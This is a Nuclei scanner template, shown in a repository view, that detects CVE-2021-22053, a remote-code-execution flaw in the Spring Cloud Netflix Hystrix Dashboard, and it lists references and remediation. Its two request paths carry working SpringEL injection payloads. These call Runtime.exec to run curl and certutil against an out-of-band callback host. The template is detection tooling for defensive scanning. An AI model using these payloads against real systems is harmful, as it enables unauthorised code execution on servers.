nuclei-templates/http/cves/2021/CVE-2021-22053.yaml

48 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2021-22053
info:
name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
author: forgedhallpass
severity: high
description: |
Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
2023-09-06 12:09:01 +00:00
remediation: |
Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.
reference:
- https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
- https://tanzu.vmware.com/security/cve-2021-22053
- https://nvd.nist.gov/vuln/detail/CVE-2021-22053
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-22053
cwe-id: CWE-94
epss-score: 0.63177
epss-percentile: 0.97475
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: vmware
2023-09-06 12:09:01 +00:00
product: spring_cloud_netflix
2023-07-11 19:49:27 +00:00
tags: rce,spring,cve,cve2021
http:
- method: GET
path:
2023-07-21 17:53:36 +00:00
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/'
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
2023-07-21 17:53:36 +00:00
- "http"
2023-07-21 17:53:36 +00:00
- type: regex
part: interactsh_request
regex:
- 'curl|CertUtil'
# digest: 4a0a0047304502207026c74183237515146b20c9a91c91f96627baf0e22b7ef2377bbd67b1daf09c022100fad60223cd9704968b64d441da30c6b9dad2ae29fca2850d2fbdfd7db47b2c66:922c64590222798bb761d5b6d8e72950